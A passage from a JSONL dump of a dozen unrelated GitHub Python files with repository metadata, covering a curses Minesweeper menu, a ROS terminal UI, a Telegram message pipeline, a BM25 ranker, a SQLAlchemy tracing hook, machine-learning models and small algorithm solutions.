Quit\")\n\t\n\tdef draw_title(self):\n\t\t\"\"\"Draws the MINESWEEPER banner.\"\"\"\n\t\tg = self.graphics\n\t\t\n\t\tbanner = [\n\t\t\tr\"  __ __ _ __  _ ___  __  _   _ ___ ___ ___ ___ ___  \",\n\t\t\tr\" |  V  | |  \\| | __/' _/| | | | __| __| _,\\ __| _ \\ \",\n\t\t\tr\" | \\_/ | | | ' | _|`._`.| 'V' | _|| _|| v_/ _|| v / \",\n\t\t\tr\" !_! !_!_!_!\\__!___!___/!_/ \\_!___!___!_! !___!_!_\\ \"\n\t\t]\n\t\tfor i in range(len(banner)):\n\t\t\tg.draw(*g.center_justify(i+4, banner[i]))\n\t\n\tdef draw_info(self):\n\t\t\"\"\"Draws some infomation about the hovered Button.\"\"\"\n\t\tg = self.graphics\n\t\t\n\t\tmessage = \"\"\n\t\tif self.select == 0:\n\t\t\tmessage = \"Continue a saved game.\"\n\t\telif self.select == 1:\n\t\t\tmessage = \"Start a new game.\"\n\t\telif self.select == 2:\n\t\t\tmessage = \"Delete the saved game.\"\n\t\t\n\t\tg.draw(0, 21, \"_\"*g.LENGTH)\n\t\tg.draw(1, 22, message)\n","repo_name":"sky3947/Miscellaneous","sub_path":"Made on Smartphone/Curses Minesweeper/MenuScene.py","file_name":"MenuScene.py","file_ext":"py","file_size_in_byte":6151,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"41149297315","text":"import click\n\nfrom .app import InspectApp, InspectMode\nfrom .ros import init_ros, is_ros1\n\n\ndef inspect_common(mode: InspectMode) -> None:\n    ros = init_ros()\n    try:\n        InspectApp.run(ros=ros, init_mode=mode, title=\"ROS Inspect\")\n    finally:\n        ros.terminate()\n\n\n@click.command(help=\"Inspect ROS nodes\")\ndef nodes() -> None:\n    inspect_common(InspectMode.Nodes)\n\n\n@click.command(help=\"Inspect ROS topics\")\ndef topics() -> None:\n    inspect_common(InspectMode.Topics)\n\n\n@click.command(help=\"Inspect ROS services\")\ndef services() -> None:\n    inspect_common(InspectMode.Services)\n\n\n@click.command(help=\"Inspect ROS actions (ROS1 is not supported)\")\ndef actions() -> None:\n    if is_ros1():\n        print(\"actions command does not support ROS1\")\n        return\n    inspect_common(InspectMode.Actions)\n\n\n@click.group(help=\"Terminal User Interface for ROS User\")\ndef cli() -> None:\n    pass\n\n\ndef main() -> None:\n    cli.add_command(nodes)\n    cli.add_command(topics)\n    cli.add_command(services)\n    cli.add_command(actions)\n    cli()\n    ...\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"eduidl/rtui","sub_path":"rtui/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":1095,"program_lang":"python","lang":"en","doc_type":"code","stars":184,"dataset":"github-code","pt":"60"}
+{"seq_id":"71111020671","text":"import asyncio\n\nimport uvloop\nimport yaml\nfrom loguru import logger\nfrom pyrogram.handlers.message_handler import MessageHandler\nfrom pyrogram.methods.utilities.compose import compose\n\nfrom telegram_pipe.clients import initialize_clients\nfrom telegram_pipe.config import (\n    PIPELINES_FILEPATH,\n)\nfrom telegram_pipe.filters import available_filters\nfrom telegram_pipe.pipeline import Pipeline\n\n# Get the pipelines from the yaml file\nwith open(PIPELINES_FILEPATH) as f:\n    pipelines_list = yaml.safe_load(f)['pipelines']\n\n\nasync def main() -> None:\n    uvloop.install()\n\n    available_clients = await initialize_clients()\n\n    pipelines: list[Pipeline] = []\n\n    for pipeline in pipelines_list:\n        filters_ = [\n            available_filters[filter_name]\n            for filter_name in pipeline['filters']\n        ]\n        try:\n            sender = available_clients[pipeline['sender']]\n        except KeyError:\n            sender = available_clients['me']\n            logger.warning(\n                'Sender not found, using \"me\" instead',\n            )\n        try:\n            listener = available_clients[pipeline['listener']]\n        except KeyError:\n            listener = available_clients['me']\n            logger.warning(\n                'Listener not found, using \"me\" instead',\n            )\n        try:\n            use_listener_on_fail = pipeline['use_listener_on_fail']\n        except KeyError:\n            use_listener_on_fail = True\n            logger.warning(\n                'use_listener_on_fail not found, using \"False\" instead',\n            )\n\n        pipelines.append(\n            Pipeline(\n                sources=pipeline['sources'],\n                destinations=pipeline['destinations'],\n                filters=filters_,\n                sender=sender,\n                listener=listener,\n                use_listener_on_fail=use_listener_on_fail,\n            )\n        )\n\n    # Add the handlers for each pipeline\n    for pipeline in pipelines:\n        logger.info(\n            'Adding handler for pipeline {pipeline}', pipeline=pipeline\n        )\n        pipeline.listener.add_handler(\n            MessageHandler(\n                pipeline.get_handler(), filters=pipeline.get_filter()\n            )\n        )\n    await compose(list(available_clients.values()))\n\n\nlogger.info('Running app...')\nasyncio.run(main())\n","repo_name":"Barahlush/telegram-pipe","sub_path":"telegram_pipe/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2344,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"17803489569","text":"from typing import Dict, List, Union, Iterable, Tuple\n\nimport pandas as pd\n\nfrom mopi.utils.random import random_string\nimport numpy as np\n\n\nclass Store:\n\n    path: str\n\n    def __init__(\n        self,\n        data: Dict[str, Union[List, pd.Series]],\n        path: str,\n    ):\n        self.data = data\n        self.id = \"store-\" + random_string(5)\n        self.path = path\n        self.stats = dict()\n\n    def get_data(self, id: str) -> pd.Series:\n        return self.data[id].copy()\n\n    def get_labels(self) -> pd.Series:\n        return self.labels.copy()\n\n    def set_data(self, id: str, data: Union[pd.Series, List]) -> None:\n        self.data[id] = data\n\n    def set_stats(self, id: str, stats: pd.Series) -> None:\n        self.stats[id] = stats\n\n    def get_all_stats(self) -> pd.DataFrame:\n        df = pd.DataFrame([])\n\n        for key, value in self.stats.items():\n            df[key] = value\n\n        return df\n\n    def get_all_predictions(self) -> dict:\n        outputs = dict()\n        for block_name, output in self.data.items():\n            if isinstance(output, (pd.Series, np.ndarray)):\n                output = output.tolist()\n\n            if isinstance(output, Iterable):\n                if (\n                    isinstance(output[0], Iterable)\n                    and isinstance(output[0], str) is False\n                ):\n                    predictions, probabilities = self.data_to_preds_probs(output)\n                    output = predictions\n\n                if not isinstance(output[0], str):\n                    outputs[block_name] = output\n\n        return outputs\n\n    @staticmethod\n    def data_to_preds_probs(\n        final_output: List[Union[List, Tuple]]\n    ) -> Tuple[List[int], List[float]]:\n\n        predictions = [output[0] for output in final_output]\n        probabilities = [output[1] for output in final_output]\n\n        return predictions, probabilities\n","repo_name":"dream-faster/modular-pipelines","sub_path":"src/mopi/runner/store.py","file_name":"store.py","file_ext":"py","file_size_in_byte":1893,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"60"}
+{"seq_id":"9249071512","text":"import sys\nimport matplotlib.pyplot as plt\nimport numpy\nimport math\nfrom amanzi_xml.observations.ObservationXML import ObservationXML as ObsXML\nfrom amanzi_xml.observations.ObservationData import ObservationData as ObsDATA\nimport amanzi_xml.utils.search as search\nimport prettytable\n\n# load the data from output file, which is in amanzi-output\ndef load_amanzi_obs():\n    # output_file=obs_xml.getObservationFilename()\n    output_file = \"observations.out\"\n    obs_data = ObsDATA(\"amanzi-output/\" + output_file)\n    obs_data.getObservationData()\n    return obs_data\n\ndef load_ana_solution():\n    # load data from analytic solution\n    ana_data = numpy.genfromtxt('analytic/test_h_tr.dat')\n    return ana_data\n\ndef plottest(axes1, obstimes, obsdata, ana_data):\n    axes1.set_ylabel('Drawdown [m]')\n    axes1.set_xlabel('Time after pumping [days]')\n    axes1.set_title('Drawdown at Observation Well with Distance r1  = 24m and r2 = 100m ')\n    \n    ntime1 = int(len(ana_data[:,0])/2)\n    ntime2 = int(len(ana_data[:,0]))\n\n    ntime3 = int(len(obstimes[:,0]))\n    ntime4 = int(len(obstimes[:,1]))\n\n    axes1.plot(ana_data[0:ntime1,0], ana_data[0:ntime1,1], '-r', label='Analytical Solution: r=24m')\n    axes1.plot(obstimes[1:ntime4,1], obsdata[1:ntime4,1], 'ro', label='Amanzi: r=24m')\n    axes1.plot(ana_data[ntime1+1:ntime2,0], ana_data[ntime1+1:ntime2,1], '-b', label='Analytical Solution: r=100m')\n    axes1.plot(obstimes[1:ntime3,0], obsdata[1:ntime3,0], 'bo', label='Amanzi: r=100m')\n    axes1.set_xscale('log')\n\n    axes1.legend(loc='lower right')\n\nif __name__ == \"__main__\":\n\n    import os\n    import run_amanzi_standard\n\n    input_file =os.path.join(\"amanzi_boundedDomain_2d.xml\")\n    run_dir=\"amanzi-output\"\n    \n    CWD = os.getcwd()\n    try: \n        run_amanzi_standard.run_amanzi(input_file, 16, [input_file], run_dir)\n        obs_data = load_amanzi_obs()\n\n        obsdata = []\n        obstimes = []\n        for obs in obs_data.observations.values():\n            obsdata.append(obs.data)\n            obstimes.append(obs.times)\n\n        obsdata  = numpy.transpose(numpy.array(obsdata))\n        obstimes  = numpy.transpose(numpy.array(obstimes))\n        obstimes[:] =  obstimes[:]/24./3600.\n\n        ana_data=load_ana_solution()\n        # note: in analytical solution the drawdown (m) was given at time in days\n\n        fig1= plt.figure()\n        axes1=fig1.add_axes([.1,.1,.8,.8])\n       \n        plottest(axes1,obstimes, obsdata, ana_data)\n        # plt.show()\n\n    finally:\n        os.chdir(CWD)\n\n\n","repo_name":"amanzi/amanzi","sub_path":"test_suites/verification/flow/saturated/transient/boundedDomain_2d/amanzi_boundedDomain_2d.py","file_name":"amanzi_boundedDomain_2d.py","file_ext":"py","file_size_in_byte":2508,"program_lang":"python","lang":"en","doc_type":"code","stars":46,"dataset":"github-code","pt":"60"}
+{"seq_id":"39864959504","text":"import datetime\nimport os\n\n\n\n\nAWS_ACCESS_KEY_ID = os.environ[\"AWS_ACCESS_KEY_ID\"]\nAWS_SECRET_ACCESS_KEY = os.environ[\"AWS_SECRET_ACCESS_KEY\"]\nAWS_STORAGE_BUCKET_NAME = os.environ[\"AWS_STORAGE_BUCKET_NAME\"]\nAWS_S3_REGION_NAME = 'us-east-1'\nDEFAULT_FILE_STORAGE = 'storages.backends.s3boto3.S3Boto3Storage'\n\n\n\nAWS_S3_OBJECT_PARAMETERS = {\n    'CacheControl': 'max-age=86400',\n}\n\nAWS_S3_CUSTOM_DOMAIN = '%s.s3.amazonaws.com' % AWS_STORAGE_BUCKET_NAME\n\nAWS_LOCATION = 'static'\n\nSTATICFILES_DIRS = [\n    os.path.join(BASE_DIR, 'static'),\n]\n\nSTATIC_URL = 'https://%s/%s/' % (AWS_S3_CUSTOM_DOMAIN, AWS_LOCATION)","repo_name":"ParthChodvadiya1/Vehicle-Labs","sub_path":"VehiclesLabs/VehiclesLabs/aws/conf.py","file_name":"conf.py","file_ext":"py","file_size_in_byte":604,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"14178765590","text":"import tensorflow as tf \r\nimport os\r\n\r\ndef create_model(input_window_length):\r\n\r\n    \"\"\"Specifies the structure of a seq2point model using Keras' functional API.\r\n\r\n    Returns:\r\n    model (tensorflow.keras.Model): The uncompiled seq2point model.\r\n\r\n    \"\"\"\r\n\r\n    input_layer = tf.keras.layers.Input(shape=(input_window_length,))\r\n    reshape_layer = tf.keras.layers.Reshape((1, input_window_length, 1))(input_layer)\r\n    conv_layer_1 = tf.keras.layers.Convolution2D(filters=30, kernel_size=(10, 1), strides=(1, 1), padding=\"same\", activation=\"relu\")(reshape_layer)\r\n    conv_layer_2 = tf.keras.layers.Convolution2D(filters=30, kernel_size=(8, 1), strides=(1, 1), padding=\"same\", activation=\"relu\")(conv_layer_1)\r\n    conv_layer_3 = tf.keras.layers.Convolution2D(filters=40, kernel_size=(6, 1), strides=(1, 1), padding=\"same\", activation=\"relu\")(conv_layer_2)\r\n    conv_layer_4 = tf.keras.layers.Convolution2D(filters=50, kernel_size=(5, 1), strides=(1, 1), padding=\"same\", activation=\"relu\")(conv_layer_3)\r\n    conv_layer_5 = tf.keras.layers.Convolution2D(filters=50, kernel_size=(5, 1), strides=(1, 1), padding=\"same\", activation=\"relu\")(conv_layer_4)\r\n    flatten_layer = tf.keras.layers.Flatten()(conv_layer_5)\r\n    label_layer = tf.keras.layers.Dense(1024, activation=\"relu\")(flatten_layer)\r\n    output_layer = tf.keras.layers.Dense(1, activation=\"linear\")(label_layer)\r\n\r\n    model = tf.keras.Model(inputs=input_layer, outputs=output_layer)\r\n    return model\r\n\r\ndef save_model(model, network_type, algorithm, appliance, save_model_dir):\r\n\r\n    \"\"\" Saves a model to a specified location. Models are named using a combination of their \r\n    target appliance, architecture, and pruning algorithm.\r\n\r\n    Parameters:\r\n    model (tensorflow.keras.Model): The Keras model to save.\r\n    network_type (string): The architecture of the model ('', 'reduced', 'dropout', or 'reduced_dropout').\r\n    algorithm (string): The pruning algorithm applied to the model.\r\n    appliance (string): The appliance the model was trained with.\r\n\r\n    \"\"\"\r\n    \r\n    #model_path = \"saved_models/\" + appliance + \"_\" + algorithm + \"_\" + network_type + \"_model.h5\"\r\n    model_path = save_model_dir\r\n\r\n    if not os.path.exists (model_path):\r\n        open((model_path), 'a').close()\r\n\r\n    model.save(model_path)\r\n\r\ndef load_model(model, network_type, algorithm, appliance, saved_model_dir):\r\n\r\n    \"\"\" Loads a model from a specified location.\r\n\r\n    Parameters:\r\n    model (tensorflow.keras.Model): The Keas model to which the loaded weights will be applied to.\r\n    network_type (string): The architecture of the model ('', 'reduced', 'dropout', or 'reduced_dropout').\r\n    algorithm (string): The pruning algorithm applied to the model.\r\n    appliance (string): The appliance the model was trained with.\r\n\r\n    \"\"\"\r\n\r\n    #model_name = \"saved_models/\" + appliance + \"_\" + algorithm + \"_\" + network_type + \"_model.h5\"\r\n    model_name = saved_model_dir\r\n    print(\"PATH NAME: \", model_name)\r\n\r\n    model = tf.keras.models.load_model(model_name)\r\n    num_of_weights = model.count_params()\r\n    print(\"Loaded model with \", str(num_of_weights), \" weights\")\r\n    return model","repo_name":"MingjunZhong/seq2point-nilm","sub_path":"model_structure.py","file_name":"model_structure.py","file_ext":"py","file_size_in_byte":3149,"program_lang":"python","lang":"en","doc_type":"code","stars":83,"dataset":"github-code","pt":"60"}
+{"seq_id":"31138631859","text":"import sys\n\ndef minimumMoves(grid, startX, startY, goalX, goalY):\n    dot = '.'\n    cross = 'X'\n\n    scores = [[sys.maxsize for j in range(len(grid[i]))] for i in range(len(grid))]\n    queue = [(startX, startY)]\n    cost = 0\n    scores[startX][startY] = cost\n\n    while queue:\n        point = queue.pop(0)\n        cost = scores[point[0]][point[1]]\n        if point == (goalX, goalY):\n            break\n            \n        for direction in [range(point[1]+1, len(grid[0])), range(point[1]-1, -1, -1)]:\n            for j in direction:\n                if grid[point[0]][j] == 'X':\n                    break\n                if scores[point[0]][j] == sys.maxsize:\n                    scores[point[0]][j] = cost + 1\n                    queue.append((point[0],j))\n\n        for direction in [range(point[0]+1, len(grid)), range(point[0]-1, -1, -1)]:\n            for i in direction:\n                if grid[i][point[1]] == 'X':\n                    break\n                if scores[i][point[1]] == sys.maxsize:\n                    scores[i][point[1]] = cost + 1\n                    queue.append((i,point[1]))\n\n    for row in scores:\n        print(row)\n    return cost\n\nwith open('input.txt') as f:\n    content = f.readlines()\n    n = int(content[0].strip())\n    grid = []\n\n    for i in range(n): \n        line = content[i+1].strip()\n        grid.append(list(line))\n\n    startX, startY, goalX, goalY = [int(x) for x in content[n+1].strip().split()]\n    print(minimumMoves(grid, startX, startY, goalX, goalY))","repo_name":"erjantj/hackerrank","sub_path":"castle-on-the-grid.py","file_name":"castle-on-the-grid.py","file_ext":"py","file_size_in_byte":1497,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"9286901145","text":"__author__ = 'abhinavmaurya'\n#####################################################\n# Author: Abhinav Maurya                            #\n# Course: Information Retrieval CS6200              #\n# Assignment#: 3                                    #\n# Description: BM25 Algorithm                       #\n# Date: 11/07/2015                                  #\n#####################################################\n\nimport sys\nimport math\nfrom collections import defaultdict\nimport json\nimport operator\n\n# Constants\nk1 = 1.2\nb = 0.75\nk2 = 100.0\nR = 0.0\nr = 0.0\nbm25_op_file = \"results.eval\"\n\n# the main bm25 function for computing score of each doc\ndef bm25(index_file, queries_file, n_docs):\n    index = open(index_file, 'r')\n    inv_index = json.load(index)\n    docs_length_dict = createDocsLength(inv_index)\n    avg_doc_length = calculateDocsAvgLength(docs_length_dict)\n\n    queries = open(queries_file, 'r')\n    query = queries.readline()\n    q_id = 1\n    op = open(bm25_op_file, \"w+\")\n    op.write(\"query_id\" + \"\\tQ0\\t\" + \"doc_id\" + \"\\t\" + \"rank\" + \"\\t\" + \"BM25_score\" + \"\\tsystem-name\\n\")\n    # iterate over all queries and write 100 doc with score in o/p file.\n    while query != \"\":\n        q = query.split()\n        bm25_score = calculateBM25Score(q, inv_index, docs_length_dict, avg_doc_length)\n        write_score(q_id, bm25_score, op, n_docs)\n        q_id += 1\n        query = queries.readline()\n\n# BM25 Score calculation for all documents\ndef calculateBM25Score(q_wrds, inv_index, docs_length_dict, avg_doc_length):\n    N = len(docs_length_dict)\n    bm25_score = defaultdict()\n    q_wrd_freq = defaultdict()\n    for w in q_wrds:\n        if w not in q_wrd_freq:\n            q_wrd_freq[w] = 1\n        else:\n            q_wrd_freq[w] += 1\n\n    #iterate over each doc to compute its BM25 score\n    for doc, ln in docs_length_dict.items():\n        score = 0.0\n        # iterate over query words to compute score of doc\n        # score of doc = sum of score of doc for individual query word\n        for q_wrd, qf in q_wrd_freq.items():\n            word_index = inv_index[q_wrd]\n            f = 0\n            # compute f -> freq of word in doc\n            if doc in word_index:\n                f = word_index[doc]\n\n            # n -> total docs containing query word\n            n = len(word_index)\n\n            # computation of normalization factor K\n            K = k1 * ((1 - b) + (b * (float(ln) / avg_doc_length)))\n\n            # BM_25 scoring function is broken into 3 parts for ease of understanding\n            # BM_25 score for given word = t1*t2*t3\n            t1 = math.log((((r + 0.5)/(R - r + 0.5)) / ((n - r + 0.5) / (N - n - R + r + 0.5))))\n            t2 = (((k1 + 1) * f) / (K + f))\n            t3 = (((k2 + 1) * qf) / (k2 + qf))\n\n            # the sum of scores for all query words will give us BM25 score of doc\n            score += (t1 * t2 * t3)\n\n        bm25_score[doc] = score\n\n    return bm25_score\n\n\n# writing the BM25 score of top 100 docs for each query\ndef write_score(q_id, bm25_score, op, n_docs):\n    sorted_bm_25_score_list = sorted(bm25_score.items(), key=operator.itemgetter(1), reverse=True)\n    i = 1\n    for doc, score in sorted_bm_25_score_list:\n        op.write(str(q_id) + \"\\t\\tQ0\\t\" + doc + \"\\t\" + str(i) + \"\\t\" + \"%.10f\" % score + \"\\tabhinav-system\\n\")\n        if(i == n_docs):\n            break\n        i += 1\n\n# createDocsLength creates the dictioary with doc_id(key) and respective doc_length(value)\ndef createDocsLength(inv_index):\n    docs_length_dict = defaultdict()\n    for wrd, doc_freq in inv_index.items():\n        for doc, freq in doc_freq.items():\n            if(doc not in docs_length_dict.keys()):\n                docs_length_dict[doc] = doc_freq[doc]\n            else:\n                docs_length_dict[doc] += doc_freq[doc]\n\n    return docs_length_dict\n\n# calculateDocsAvgLength calculates the average document length\ndef calculateDocsAvgLength(docs_length):\n    sum = 0\n    for doc, ln in docs_length.items():\n        sum += ln\n    avg = sum/len(docs_length)\n    return avg\n\n# reading inputs as command line arg and calling bm25 function\nif __name__ == '__main__':\n    index_file = sys.argv[1]\n    queries_file = sys.argv[2]\n    n_docs = int(sys.argv[3])\n    bm25(index_file, queries_file, n_docs)\n","repo_name":"abhinavmaurya/InformationRetrieval_Fall2015","sub_path":"BM25 Ranking Algorithm/BM25.py","file_name":"BM25.py","file_ext":"py","file_size_in_byte":4254,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"1228828610","text":"import sys\r\n\r\ninf = float(\"inf\")\r\n\r\nn, k, *xy = map(int, sys.stdin.read().split())\r\nxy = list(zip(*[iter(xy)] * 2))\r\n\r\n\r\ndef minimize(xy, key):\r\n    xy = sorted(xy, key=lambda x: x[key])\r\n    x = []\r\n    y = []\r\n    for i in range(n):\r\n        x.append(xy[i][0])\r\n        y.append(xy[i][1])\r\n    if key == 1:\r\n        x, y = y, x\r\n\r\n    area = inf\r\n    for i in range(n - k + 1):\r\n        l = i\r\n        r = i + k - 1\r\n        dx = x[r] - x[l]\r\n        seq_y = sorted(y[l : r + 1])\r\n        dy = seq_y[-1] - seq_y[0]\r\n        area = min(area, dx * dy)\r\n    return area\r\n\r\n\r\ndef main():\r\n    return min(minimize(xy, 0), minimize(xy, 1))\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    ans = main()\r\n    print(ans)\r\n","repo_name":"kagemeka/atcoder-submissions","sub_path":"jp.atcoder/abc075/abc075_d/9109104.py","file_name":"9109104.py","file_ext":"py","file_size_in_byte":703,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"16847030317","text":"\"\"\"\nTo trace sqlalchemy queries, add instrumentation to the engine class or\ninstance you are using::\n\n    from ddtrace import tracer\n    from ddtrace.contrib.sqlalchemy import trace_engine\n    from sqlalchemy import create_engine\n\n    engine = create_engine('sqlite:///:memory:')\n    trace_engine(engine, tracer, \"my-database\")\n\n    engine.connect().execute(\"select count(*) from users\")\n\"\"\"\n\n# 3p\nfrom sqlalchemy.event import listen\n\n# project\nimport ddtrace\nfrom ddtrace.buffer import ThreadLocalSpanBuffer\nfrom ddtrace.ext import sql as sqlx\nfrom ddtrace.ext import net as netx\n\n\ndef trace_engine(engine, tracer=None, service=None):\n    \"\"\"\n    Add tracing instrumentation to the given sqlalchemy engine or instance.\n\n    :param sqlalchemy.Engine engine: a SQLAlchemy engine class or instance\n    :param ddtrace.Tracer tracer: a tracer instance. will default to the global\n    :param str service: the name of the service to trace.\n    \"\"\"\n    tracer = tracer or ddtrace.tracer  # by default use global\n    EngineTracer(tracer, service, engine)\n\n\nclass EngineTracer(object):\n\n    def __init__(self, tracer, service, engine):\n        self.tracer = tracer\n        self.engine = engine\n        self.vendor = sqlx.normalize_vendor(engine.name)\n        self.service = service or self.vendor\n        self.name = \"%s.query\" % self.vendor\n\n        # set the service info.\n        self.tracer.set_service_info(\n            service=self.service,\n            app=self.vendor,\n            app_type=sqlx.APP_TYPE)\n\n        self._span_buffer = ThreadLocalSpanBuffer()\n\n        listen(engine, 'before_cursor_execute', self._before_cur_exec)\n        listen(engine, 'after_cursor_execute', self._after_cur_exec)\n        listen(engine, 'dbapi_error', self._dbapi_error)\n\n    def _before_cur_exec(self, conn, cursor, statement, *args):\n        self._span_buffer.pop() # should always be empty\n\n        span = self.tracer.trace(\n            self.name,\n            service=self.service,\n            span_type=sqlx.TYPE,\n            resource=statement)\n\n        if not _set_tags_from_url(span, conn.engine.url):\n            _set_tags_from_cursor(span, self.vendor, cursor)\n\n        self._span_buffer.set(span)\n\n    def _after_cur_exec(self, conn, cursor, statement, *args):\n        span = self._span_buffer.pop()\n        if not span:\n            return\n\n        try:\n            if cursor and cursor.rowcount >= 0:\n                span.set_tag(sqlx.ROWS, cursor.rowcount)\n        finally:\n            span.finish()\n\n    def _dbapi_error(self, conn, cursor, statement, *args):\n        span = self._span_buffer.pop()\n        if not span:\n            return\n\n        try:\n            span.set_traceback()\n        finally:\n            span.finish()\n\ndef _set_tags_from_url(span, url):\n    \"\"\" set connection tags from the url. return true if successful. \"\"\"\n    if url.host:\n        span.set_tag(netx.TARGET_HOST, url.host)\n    if url.port:\n        span.set_tag(netx.TARGET_PORT, url.port)\n    if url.database:\n        span.set_tag(sqlx.DB, url.database)\n\n    return bool(span.get_tag(netx.TARGET_HOST))\n\ndef _set_tags_from_cursor(span, vendor, cursor):\n    \"\"\" attempt to set db connection tags by introspecting the cursor. \"\"\"\n    if 'postgres' == vendor:\n        if hasattr(cursor, 'connection') and hasattr(cursor.connection, 'dsn'):\n            dsn = getattr(cursor.connection, 'dsn', None)\n            if dsn:\n                d = sqlx.parse_pg_dsn(dsn)\n                span.set_tag(sqlx.DB, d.get(\"dbname\"))\n                span.set_tag(netx.TARGET_HOST, d.get(\"host\"))\n                span.set_tag(netx.TARGET_PORT, d.get(\"port\"))\n\n","repo_name":"pelotoncycle/dd-trace-py","sub_path":"ddtrace/contrib/sqlalchemy/engine.py","file_name":"engine.py","file_ext":"py","file_size_in_byte":3615,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"33851437675","text":"import numpy as np\r\nfrom sklearn.metrics.pairwise import rbf_kernel\r\nfrom sklearn.svm import SVC, OneClassSVM\r\nfrom scipy.spatial.distance import pdist\r\nimport matplotlib.pyplot as plt\r\nfrom IPython import get_ipython\r\nipy = get_ipython()\r\nipy.magic(\"matplotlib qt\")\r\nplt.style.use('ggplot')\r\nimport itertools\r\n\r\n#%% Set Up Data\r\nl = 40\r\nd = 2\r\nn = 100\r\n\r\ndata = np.empty((l,n,d))\r\nsigma = np.array([[.01, .008],\r\n                  [.008, .01]])\r\nfor i in range(l):\r\n    data[i,:,:] = np.random.multivariate_normal(.3*np.random.randn(2,),\r\n                                                sigma,\r\n                                                (n,))\r\n    \r\n#%% Parameters\r\n\r\n# KNN parameters\r\nk = 3\r\nm = 3\r\n\r\n# rbf parameters\r\nbw = np.median(pdist(data.reshape(l*n,d)))\r\n\r\n\"\"\"\r\nRankAD Algorithm\r\n\"\"\"\r\n\r\n#%% Training Stage\r\n\r\n#kernel matrix (a)\r\nK = np.empty((l,l))\r\nfor i,j in itertools.product(range(l),repeat=2):\r\n    K[i,j] = np.sum(rbf_kernel(data[i,:,:],\r\n                               data[j,:,:],\r\n                               gamma = .5/bw))/n**2\r\n\r\nGx = np.empty((l,))\r\nRn = np.empty((l,))\r\nfor i in range(l):\r\n    Gx[i] = np.sum(sorted(K[i,:])[-k-1:-1])/k\r\nfor i in range(l):\r\n    Rn[i] = np.sum(Gx[i]>Gx)/l # larger kernel value indicates simmilarity\r\n    \r\n# quantize labels (b)\r\nrq = np.empty((l,),dtype=int)\r\nsplit = (np.max(Rn) - np.min(Rn))/m\r\nfor i in range(m):\r\n    rq[np.logical_and(Rn>=i*split,Rn<=(i+1)*split)] = i+1\r\n    \r\n# create set P, solve for minimizer g (c)\r\nP = np.array([[i,j] for i,j in itertools.product(range(l),repeat=2) if rq[i]>rq[j]])\r\n\r\ngram = np.empty((len(P),len(P)))\r\nfor a,b in itertools.product(range(len(P)),repeat=2):\r\n    gram[a,b] = (K[P[a,0],P[b,0]] - \r\n                 K[P[a,0],P[b,1]] - \r\n                 K[P[a,1],P[b,0]] + \r\n                 K[P[a,1],P[b,1]])\r\n\r\nghat = OneClassSVM(kernel='precomputed',nu=.1)\r\nghat.fit(gram)\r\n\r\n# create g (d)\r\ng = np.zeros((n,d))\r\nfor i,a in enumerate(ghat.support_):\r\n    g += ghat.dual_coef_[0,i]*.5*(data[P[a,0],:,:]+data[P[a,1],:,:])/np.sum(ghat.dual_coef_)\r\n\r\n\r\n# kernel of g and data\r\nrank = np.empty(l)\r\nfor i in range(l):\r\n    rank[i] = np.sum(rbf_kernel(g,data[i,:,:],gamma = .5/bw))/n**2 - ghat.intercept_\r\n        \r\n# how well does R_hat estimate Rn\r\nR_hat = np.empty(l)\r\nfor i in range(l):\r\n    R_hat[i] = np.sum(rank[i]>rank)/l\r\n\r\n    \r\n#%% Test data\r\ntheta = np.radians(-60)\r\nrot = np.array([[np.cos(theta), -np.sin(theta)], \r\n                [np.sin(theta),  np.cos(theta)]])\r\n    \r\ntest_data = np.empty((3*l,n,d))\r\nfor i in range(l):\r\n    test_data[i,:,:] = np.random.multivariate_normal(.3*np.random.randn(2,),\r\n                                                     sigma,\r\n                                                     (n,))\r\n    test_data[i+l,:,:] = np.random.multivariate_normal(.3*np.random.randn(2,),\r\n                                                       np.dot(sigma,rot),\r\n                                                       (n,))\r\n    test_data[i+2*l,:,:] = np.random.multivariate_normal(.3*np.random.randn(2,)+1,\r\n                                                         sigma,\r\n                                                         (n,))\r\n\r\ng_t = [np.sum(rbf_kernel(g,test_data[i,:,:],gamma = .5/bw))/n**2-ghat.intercept_ for i in range(len(test_data))]\r\nR_t = [np.sum(g_t[i]>rank)/l for i in range(len(test_data))]\r\n\r\n#%%Plotting\r\n\r\nplt.figure()\r\nplt.subplot(121)\r\nfor i in range(l):\r\n    plt.scatter(data[i,:,0],data[i,:,1],c = plt.cm.Blues(Rn[i]))\r\nplt.plot(g[:,0],g[:,1],'r.')\r\nplt.subplot(122)\r\nfor i in range(3*l):\r\n    plt.scatter(test_data[i,:,0],test_data[i,:,1],c = plt.cm.Blues(R_t[i]))\r\nplt.plot(g[:,0],g[:,1],'r.')\r\n\r\nplt.figure()\r\nplt.plot(R_hat, label='$\\hat{R}$')\r\nplt.plot(Rn,label='$R_n$')\r\nplt.legend()\r\n\r\nprint('One Class Ranking SVM accuracy {0:4.3f}'.format(np.sum(ghat.predict(gram)>0)/len(P)))\r\nprint('Variance of (Rn-R_hat): {0:4.3f}'.format(np.var(Rn-R_hat)))\r\nprint('average score for nominal data: {0:4.3f}'.format(np.sum(R_t[:l])/l))\r\nprint('average score for rotated data: {0:4.3f}'.format(np.sum(R_t[l:2*l])/l))\r\nprint('average score for translated data: {0:4.3f}'.format(np.sum(R_t[2*l:])/l))\r\n","repo_name":"gregstarr/anomaly-detection","sub_path":"smm.py","file_name":"smm.py","file_ext":"py","file_size_in_byte":4159,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"60"}
